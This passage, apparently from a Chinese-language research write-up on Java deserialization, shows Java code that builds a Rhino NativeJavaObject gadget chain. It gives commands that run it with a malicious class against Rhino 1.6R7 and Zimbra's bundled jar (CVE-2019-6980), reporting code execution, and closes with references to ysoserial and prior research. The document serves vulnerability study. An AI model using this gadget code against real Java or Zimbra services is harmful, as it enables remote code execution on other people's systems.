     *         Context.getCurrentContext
     *           return null
     *         throw new RuntimeException("No Context associated with current Thread")
     *
     * 这个异常被捕获,不会直接抛到最外层,所以看不到提示信息
     */
    nja.setPrototype( prototype );
    return( nja );
}

private static NativeJavaObject PrivateInitNativeJavaObject
(
    Scriptable  parent,
    Object      javaObject,
    boolean     isAdapter,
    Method      writeAdapterObject
) throws Exception
{
    NativeJavaObject    njo                 = new NativeJavaObject();
    Field               f_parent            = NativeJavaObject.class.getDeclaredField( "parent" );
    Field               f_javaObject        = NativeJavaObject.class.getDeclaredField( "javaObject" );
    Field               f_isAdapter         = NativeJavaObject.class.getDeclaredField( "isAdapter" );
    Field               f_writeAdapterObject
                                            = NativeJavaObject.class.getDeclaredField( "adapter_writeAdapterObject" );
    f_parent.setAccessible( true );
    f_javaObject.setAccessible( true );
    f_isAdapter.setAccessible( true );
    f_writeAdapterObject.setAccessible( true );
    f_parent.set( njo, parent );
    f_javaObject.set( njo, javaObject );
    f_isAdapter.set( njo, isAdapter );
    f_writeAdapterObject.set( njo, writeAdapterObject );
    return( njo );
}

/*
 * 必须是public的,否则序列化时就抛异常。参看
 *
 * org.mozilla.javascript.JavaAdapter.writeAdapterObject()
 */
public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException
{
    out.writeObject( "java.lang.Object" );
    out.writeObject( new String[0] );
    out.writeObject( javaObject );
}

public static void main ( String[] argv ) throws Exception
{
    String                  evilclass   = argv[0];
    Object                  obj         = getObject( evilclass );
    ByteArrayOutputStream   bos         = new ByteArrayOutputStream();
    ObjectOutputStream      oos         = new ObjectOutputStream( bos );
    oos.writeObject( obj );
    ByteArrayInputStream    bis         = new ByteArrayInputStream( bos.toByteArray() );
    ObjectInputStream       ois         = new ObjectInputStream( bis );
    ois.readObject();
}

}

看MozillaRhino2.java时有个疑惑,感觉它设置了两次NativeJavaArray.prototype, 觉得没必要。编写NativeJavaObjectExec.java时我就只设置了一次,用1.7R2测试无 误。后来用1.6R7测试时,意外发现此处有坑,对于1.6R7,必须设置两次,这两次设 置的并不是同一个成员变量,分属父类、子类,如果只设其中一个,各有原因致使失 败。

javac \ -encoding GBK -g -XDignore.symbol.file \ -cp "js-1.6R7.jar" \ NativeJavaObjectExec6.java

java \ -cp "js-1.6R7.jar:." \ NativeJavaObjectExec6 JacksonExploit.class

抛出异常,但恶意代码已被执行。

10.2.5) CVE-2019-6980(Zimbra)

参[91],tint0发现的洞,中国人fnmsd提供复现细节。

Synacor Zimbra Collaboration Suite 8.7.x through 8.8.11 allows insecure object deserialization in the IMAP component.

tint0写道:


There are two main points. First, the class NativeJavaObject on deserialization will store all members of an object's class. Members refer to all elements that define a class such as variables and methods. In Rhino context, it also detects when there's a getter or setter member and if so, it declares and includes the corresponding bean as an additonal member of this class. Second, a call to NativeJavaObject.get() will search those members for a matching bean name and if one is found, invoke that bean's getter. These match the nature of one of the native 'gadget helpers' - TemplatesImpl.getOutputProperties(). Essentially if we can pass in the name 'outputProperties' in NativeJavaObject.get(), Rhino will invoke TemplatesImpl.getOutputProperties() which will eventually lead to the construction of a malicious class from our predefined bytecodes. Searching for a place that we can control the passed-in member name leads to the discovery of JavaAdapter.getObjectFunctionNames() and it's directly accessible from NativeJavaObject.readObject().


6个月后终于彻底看懂上面这段话。

Zimbra 8.6.0的yuicompressor-2.4.2-zimbra.jar含有:

org.mozilla.javascript.*

按tint0的说法,源自1.6R7。

/opt/zimbra/java/bin/java \ -cp "yuicompressor-2.4.2-zimbra.jar:." \ NativeJavaObjectExec6 JacksonExploit.class

得手。

☆ 参考资源

[52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包)

git clone https://github.com/frohoff/ysoserial.git

[89] https://repo1.maven.org/maven2/rhino/js/1.6R7/js-1.6R7.jar https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2.jar https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2-sources.jar

Return of the Rhino: An old gadget revisited - Matthias Kaiser [2016-05-04]
https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html

[90] 利用反序列化进行JNDI注入 - Twings [2020-05-12] https://aluvion.gitee.io/2020/05/12/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E8%A1%8CJNDI%E6%B3%A8%E5%85%A5/

[91] A Saga of Code Executions on Zimbra - An Trinh [2019-03-13] https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6980

Zimbra SSRF+Memcached+反序列化漏洞利用复现 - fnmsd [2019-04-12]
https://blog.csdn.net/fnmsd/article/details/89235589